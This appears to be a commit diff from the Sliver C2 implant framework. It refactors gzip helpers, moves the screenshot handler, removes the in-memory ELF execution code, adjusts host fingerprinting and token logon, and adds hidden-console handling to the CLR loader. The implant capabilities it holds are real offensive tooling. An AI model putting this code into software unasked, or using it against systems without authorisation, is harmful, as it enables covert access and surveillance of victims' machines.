@@ -134,7 +134,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
if err != nil {
return nil, err
}
return GunzipBuf(plaintext), nil
return encoders.GunzipBuf(plaintext), nil
}
// NewCipherContext - Wrapper around creating a cipher context from a key
@@ -248,19 +248,19 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
return nil
}
// GzipBuf - Gzip a buffer
func GzipBuf(data []byte) []byte {
var buf bytes.Buffer
zip := gzip.NewWriter(&buf)
zip.Write(data)
zip.Close()
return buf.Bytes()
}
// GunzipBuf - Gunzip a buffer
func GunzipBuf(data []byte) []byte {
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
var buf bytes.Buffer
buf.ReadFrom(zip)
return buf.Bytes()
}
//// GzipBuf - Gzip a buffer
//func GzipBuf(data []byte) []byte {
// var buf bytes.Buffer
// zip := gzip.NewWriter(&buf)
// zip.Write(data)
// zip.Close()
// return buf.Bytes()
//}
//
//// GunzipBuf - Gunzip a buffer
//func GunzipBuf(data []byte) []byte {
// zip, _ := gzip.NewReader(bytes.NewBuffer(data))
// var buf bytes.Buffer
// buf.ReadFrom(zip)
// return buf.Bytes()
//}
+34 -1
View File
@@ -21,6 +21,7 @@ package encoders
import (
"bytes"
"compress/gzip"
"sync"
)
// GzipEncoderID - EncoderID
@@ -29,12 +30,44 @@ const GzipEncoderID = 49
// Gzip - Gzip compression encoder
type Gzip struct{}
var gzipWriterPools = &sync.Pool{}
func init() {
gzipWriterPools = &sync.Pool{
New: func() interface{} {
w, _ := gzip.NewWriterLevel(nil, gzip.BestSpeed)
return w
},
}
}
// GzipBuf - Gzip a buffer
func GzipBuf(data []byte) []byte {
var buf bytes.Buffer
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
gzipWriter.Reset(&buf)
gzipWriter.Write(data)
gzipWriter.Close()
gzipWriterPools.Put(gzipWriter)
return buf.Bytes()
}
// GunzipBuf - Gunzip a buffer
func GunzipBuf(data []byte) []byte {
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
var buf bytes.Buffer
buf.ReadFrom(zip)
return buf.Bytes()
}
// Encode - Compress data with gzip
func (g Gzip) Encode(data []byte) []byte {
var buf bytes.Buffer
gzipWriter, _ := gzip.NewWriterLevel(&buf, gzip.BestSpeed)
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
gzipWriter.Reset(&buf)
gzipWriter.Write(data)
gzipWriter.Close()
gzipWriterPools.Put(gzipWriter)
return buf.Bytes()
}
@@ -60,11 +60,6 @@ var (
sliverpb.MsgWGStopSocksReq: wgStopSocksHandler,
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
// {{end}}
// {{if .Config.IsSharedLib}}
// CGO specific
sliverpb.MsgExecuteInMemoryReq: executeInMemoryHandler,
// {{end}}
}
)
@@ -0,0 +1,50 @@
//go:build (linux && (386 || amd64)) || (darwin && (amd64 || arm64)) || (windows && amd64)
package handlers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/screen"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func screenshotHandler(data []byte, resp RPCResponse) {
sc := &sliverpb.ScreenshotReq{}
err := proto.Unmarshal(data, sc)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
// {{if .Config.Debug}}
log.Printf("Screenshot Request")
// {{end}}
scRes := &sliverpb.Screenshot{}
scRes.Data = screen.Screenshot()
data, err = proto.Marshal(scRes)
resp(data, err)
}
@@ -0,0 +1,29 @@
//go:build !((linux && (386 || amd64)) || (darwin && (amd64 || arm64)) || (windows && amd64))
package handlers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
)
func screenshotHandler(data []byte, resp RPCResponse) {
resp([]byte{}, errors.New("unsupported platform"))
}
-20
View File
@@ -31,7 +31,6 @@ import (
"github.com/bishopfox/sliver/implant/sliver/netstat"
"github.com/bishopfox/sliver/implant/sliver/procdump"
"github.com/bishopfox/sliver/implant/sliver/ps"
"github.com/bishopfox/sliver/implant/sliver/screen"
"github.com/bishopfox/sliver/implant/sliver/shell/ssh"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -173,25 +172,6 @@ func ifconfig() *sliverpb.Ifconfig {
return interfaces
}
func screenshotHandler(data []byte, resp RPCResponse) {
sc := &sliverpb.ScreenshotReq{}
err := proto.Unmarshal(data, sc)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
// {{if .Config.Debug}}
log.Printf("Screenshot Request")
// {{end}}
scRes := &sliverpb.Screenshot{}
scRes.Data = screen.Screenshot()
data, err = proto.Marshal(scRes)
resp(data, err)
}
func netstatHandler(data []byte, resp RPCResponse) {
netstatReq := &sliverpb.NetstatReq{}
err := proto.Unmarshal(data, netstatReq)
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
@@ -1,63 +0,0 @@
//go:build cgo && linux
package handlers
import (
"bytes"
"debug/elf"
"fmt"
"os"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func executeInMemoryHandler(data []byte, resp RPCResponse) {
var req sliverpb.ExecuteInMemoryReq
err := proto.Unmarshal(data, &req)
if err != nil {
resp([]byte{}, err)
return
}
execResp := &sliverpb.Execute{}
elfData := req.Data
if req.Path != "" {
elfData, err = os.ReadFile(req.Path)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
data, err = proto.Marshal(execResp)
resp(data, err)
return
}
elfFile, _ := elf.NewFile(bytes.NewReader(elfData))
if goSection := elfFile.Section(".gopclntab"); goSection != nil {
msgErr := "Go binary detected, aborting"
execResp.Response = &commonpb.Response{
Err: msgErr,
}
data, err = proto.Marshal(execResp)
resp(data, err)
return
}
}
output, pid, err := taskrunner.ExecuteInMemory(elfData, req.Args)
if err != nil || pid == 0 {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
execResp.Response = &commonpb.Response{}
execResp.Pid = uint32(pid)
execResp.Stdout = []byte(output)
execResp.Status = 0
data, err = proto.Marshal(execResp)
resp(data, err)
}
+8 -3
View File
@@ -31,8 +31,10 @@ import (
"github.com/gofrs/uuid"
)
var zeroGUID = uuid.Must(uuid.FromString("00000000-0000-0000-0000-000000000000"))
// UUIDFromMAC - Generate a UUID based on the machine's MAC addresses, this is
// generally used as a last resort to fingerpint the host machine. It creates
// generally used as a last resort to fingerprint the host machine. It creates
// a uuid by hashing the MAC addresses of all network interfaces and using the
// first 16 bytes of the hash as the UUID. This should work so long as network
// interfaces are not added or removed, since its physical addresses this should
@@ -43,7 +45,7 @@ func UUIDFromMAC() string {
// {{end}}
interfaces, err := net.Interfaces()
if err != nil {
return ""
return zeroGUID.String()
}
hardwareAddrs := []string{}
for _, iface := range interfaces {
@@ -51,6 +53,9 @@ func UUIDFromMAC() string {
hardwareAddrs = append(hardwareAddrs, iface.HardwareAddr.String())
}
}
if len(hardwareAddrs) == 0 {
return zeroGUID.String()
}
sort.Strings(hardwareAddrs) // Ensure deterministic order
digest := sha256.New()
for _, addr := range hardwareAddrs {
@@ -58,7 +63,7 @@ func UUIDFromMAC() string {
}
value, err := uuid.FromBytes(digest.Sum(nil)[:16]) // Must be 128-bits
if err != nil {
return ""
return zeroGUID.String()
}
return value.String()
}
+13 -13
View File
@@ -1,23 +1,23 @@
// +build darwin
//go:build darwin
package hostuuid
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
/*
+3 -4
View File
@@ -1,5 +1,4 @@
//go:build linux
// +build linux
package hostuuid
@@ -23,15 +22,15 @@ package hostuuid
import (
"fmt"
"io/ioutil"
"os"
)
// GetUUID - Get a system specific UUID
func GetUUID() string {
uuid, err := ioutil.ReadFile("/etc/machine-id")
uuid, err := os.ReadFile("/etc/machine-id")
// UUID length is 32 plus newline
if err != nil || len(uuid) != 33 {
uuid, err = ioutil.ReadFile("/var/lib/dbus/machine-id")
uuid, err = os.ReadFile("/var/lib/dbus/machine-id")
if err != nil || len(uuid) != 33 {
return UUIDFromMAC() // Failed, try to use MAC addresses
}
+5 -1
View File
@@ -259,7 +259,11 @@ func MakeToken(domain string, username string, password string, logonType uint32
if err != nil {
return err
}
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
if logonType == 0 {
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_WINNT50, &token)
} else {
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("LogonUser failed: %v\n", err)
-112
View File
@@ -1,112 +0,0 @@
//go:build cgo && linux
package taskrunner
/*
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
extern void reflect_execv(const unsigned char *elf, char **argv);
extern void reflect_execve(const unsigned char *elf, char **argv, char **env);
extern void GoCallback(char *line, size_t len);
static inline int call_reflect_exec(unsigned char *data, char **argv) {
int pid;
int pipefd[2];
if (pipe(pipefd) != 0) {
return 0;
}
if ((pid = fork()) == 0)
{
close(pipefd[0]); // close reading end in the child
dup2(pipefd[1], 1); // send stdout to the pipe
dup2(pipefd[1], 2); // send stderr to the pipe
close(pipefd[1]); // this descriptor is no longer needed
reflect_execv(data, argv);
}
else
{
// parent
char *line = NULL;
close(pipefd[1]); // close the write end of the pipe in the parent
waitpid(pid, NULL, 0);
FILE *stream = fdopen(pipefd[0], "r");
size_t read_len = 0;
while (getline(&line, &read_len, stream) != -1) {
GoCallback(line, read_len);
}
}
return pid;
}
*/
import "C"
import (
"bytes"
// {{if .Config.Debug}}
"log"
// {{end}}
"sync"
"unsafe"
)
type cgoOutput struct {
Out *bytes.Buffer
sync.Mutex
}
var outbuff cgoOutput
// ExecuteInMemory - Runs an ELF binary in memory using CGO and libreflect
// Returns a string containing the merged stdout + stderrr,
// the PID of the forked process, and any error that might have occured.
func ExecuteInMemory(data []byte, args []string) (string, int, error) {
// {{if .Config.Debug}}
log.Printf("Executing %s\n", args)
// {{end}}
argv := make([]*C.char, len(args)+1)
for i, a := range args {
argv[i] = C.CString(a)
}
// argv needs to terminate with a NULL pointer, otherwise we might have uninitialized memory
argv[len(argv)-1] = nil
defer func() {
for _, arg := range argv {
C.free(unsafe.Pointer(arg))
}
}()
outbuff.Lock()
pid, err := C.call_reflect_exec((*C.uchar)(&data[0]), &argv[0])
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error during execution: %s\n", err)
//{{end}}
return "", 0, err
}
output := outbuff.Out.String()
outbuff.Out.Reset()
outbuff.Unlock()
return output, int(pid), nil
}
// GoCallback - Callback function for C code to write to outbuff
// This callback in itself is not goroutine safe, so any caller
// must acquire the lock on outbuff before calling this function.
//
//export GoCallback
func GoCallback(line *C.char, len C.size_t) {
outbuff.Out.WriteString(C.GoString(line))
}
func init() {
outbuff.Out = &bytes.Buffer{}
}
@@ -227,6 +227,11 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
// bringUpWGInterface - First creates an inet.af network stack.
// then creates a Wireguard device/interface and applies configuration
func bringUpWGInterface(address string, port uint16, implantPrivKey string, serverPubKey string, netstackTunIP string) (tun.Device, *device.Device, *netstack.Net, error) {
if netstackTunIP == "" {
err := errors.New("[wireguard] Cannot connect to empty IP address")
return nil, nil, nil, err
}
tun, tNet, err := netstack.CreateNetTUN(
[]netip.Addr{netip.MustParseAddr(netstackTunIP)},
[]netip.Addr{netip.MustParseAddr("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
+21 -10
View File
@@ -1,6 +1,7 @@
//go:build windows
// +build windows
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
// Package clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
// execute a managed DLL from disk or a managed EXE from memory
package clr
@@ -11,7 +12,7 @@ import (
"unsafe"
)
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
// GetInstalledRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
var runtimes []string
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
@@ -89,16 +90,26 @@ func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument s
}
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
must(err)
if err != nil {
return
}
pTypeName, err := syscall.UTF16PtrFromString(typeName)
must(err)
if err != nil {
return
}
pMethodName, err := syscall.UTF16PtrFromString(methodName)
must(err)
if err != nil {
return
}
pArgument, err := syscall.UTF16PtrFromString(argument)
must(err)
if err != nil {
return
}
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
must(err)
if err != nil {
return
}
if *ret != 0 {
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
}
@@ -200,7 +211,7 @@ func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (r
// LoadCLR loads the target runtime into the current process and returns the runtimehost
// The intended purpose is for the runtimehost to be reused for subsequent operations
// throught the duration of the program. Commonly used with C2 frameworks
// throughout the duration of the program. Commonly used with C2 frameworks
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
if targetRuntime == "" {
targetRuntime = "v4"
@@ -300,7 +311,7 @@ func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
// once but executed many times throughout the duration of the program. Commonly used with C2 frameworks
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
appDomain, err := GetAppDomain(runtimeHost)
if err != nil {
@@ -319,7 +330,7 @@ func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *Me
}
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
// The intended purpose is for the assembly to be executed many times throught the duration of the
// The intended purpose is for the assembly to be executed many times throughout the duration of the
// program. Commonly used with C2 frameworks
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
var paramSafeArray *SafeArray
+32 -2
View File
@@ -1,3 +1,4 @@
//go:build windows
// +build windows
package clr
@@ -8,6 +9,7 @@ import (
"fmt"
"os"
"sync"
"syscall"
"time"
"golang.org/x/sys/windows"
@@ -58,13 +60,41 @@ func RedirectStdoutStderr() (err error) {
return
}
// Createa new reader and writer for STDERR
// Create a new reader and writer for STDERR
rSTDERR, wSTDERR, err = os.Pipe()
if err != nil {
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
return
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
getConsoleWindow := kernel32.NewProc("GetConsoleWindow")
// Ensure the process has a console because if it doesn't there will be no output to capture
hConsole, _, _ := getConsoleWindow.Call()
if hConsole == 0 {
// https://learn.microsoft.com/en-us/windows/console/allocconsole
allocConsole := kernel32.NewProc("AllocConsole")
// BOOL WINAPI AllocConsole(void);
ret, _, err := allocConsole.Call()
// A process can be associated with only one console, so the AllocConsole function fails if the calling process
// already has a console. So long as any console exists we are good to go and therefore don't care about errors
if ret == 0 {
return fmt.Errorf("there was an error calling kernel32!AllocConsole with return code %d: %s", ret, err)
}
// Get a handle to the newly created/allocated console
hConsole, _, _ = getConsoleWindow.Call()
user32 := windows.NewLazySystemDLL("user32.dll")
showWindow := user32.NewProc("ShowWindow")
// Hide the console window
ret, _, err = showWindow.Call(hConsole, windows.SW_HIDE)
if err != syscall.Errno(0) {
return fmt.Errorf("there was an error calling user32!ShowWindow with return %+v: %s", ret, err)
}
}
// Set STDOUT/STDERR to the new files from os.Pipe()
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
@@ -132,7 +162,7 @@ func ReadStdoutStderr() (stdout string, stderr string, err error) {
return
}
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
// CloseStdoutStderr closes the Reader/Writer for the previously redirected STDOUT/STDERR
// that was changed to an *os.File
func CloseStdoutStderr() (err error) {
err = rSTDOUT.Close()
-8
View File
@@ -5,7 +5,6 @@ package clr
import (
"bytes"
"fmt"
"log"
"strings"
"unicode/utf16"
"unsafe"
@@ -25,13 +24,6 @@ func checkOK(hr uintptr, caller string) error {
}
}
// must forces the program to exit if there is an error using the log.Fatal command
func must(err error) {
if err != nil {
log.Fatal(err)
}
}
func utf16Le(s string) []byte {
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
var buf bytes.Buffer
+1 -1
View File
@@ -15,7 +15,7 @@ github.com/BurntSushi/xgb/xproto
# github.com/Microsoft/go-winio v0.5.1
## explicit; go 1.12
github.com/Microsoft/go-winio/pkg/guid
# github.com/Ne0nd0g/go-clr v1.0.2
# github.com/Ne0nd0g/go-clr v1.0.3
## explicit; go 1.13
github.com/Ne0nd0g/go-clr
# github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.21.9
// protoc-gen-go v1.27.1
// protoc v3.21.12
// source: clientpb/client.proto
package clientpb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.21.9
// protoc-gen-go v1.27.1
// protoc v3.21.12
// source: commonpb/common.proto
package commonpb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.21.9
// protoc-gen-go v1.27.1
// protoc v3.21.12
// source: dnspb/dns.proto
package dnspb
+270 -277
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.21.9
// protoc-gen-go v1.27.1
// protoc v3.21.12
// source: rpcpb/services.proto
package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x32, 0xce, 0x3e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x74, 0x6f, 0x32, 0x8a, 0x3e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -498,44 +498,40 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x42,
0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x49, 0x6e, 0x4d, 0x65, 0x6d, 0x6f, 0x72,
0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65,
0x63, 0x75, 0x74, 0x65, 0x49, 0x6e, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x1a,
0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75,
0x74, 0x65, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a,
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c,
0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65,
0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72,
0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72,
0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65,
0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75,
0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65,
0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12,
0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e,
0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f,
0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70,
0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c,
0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
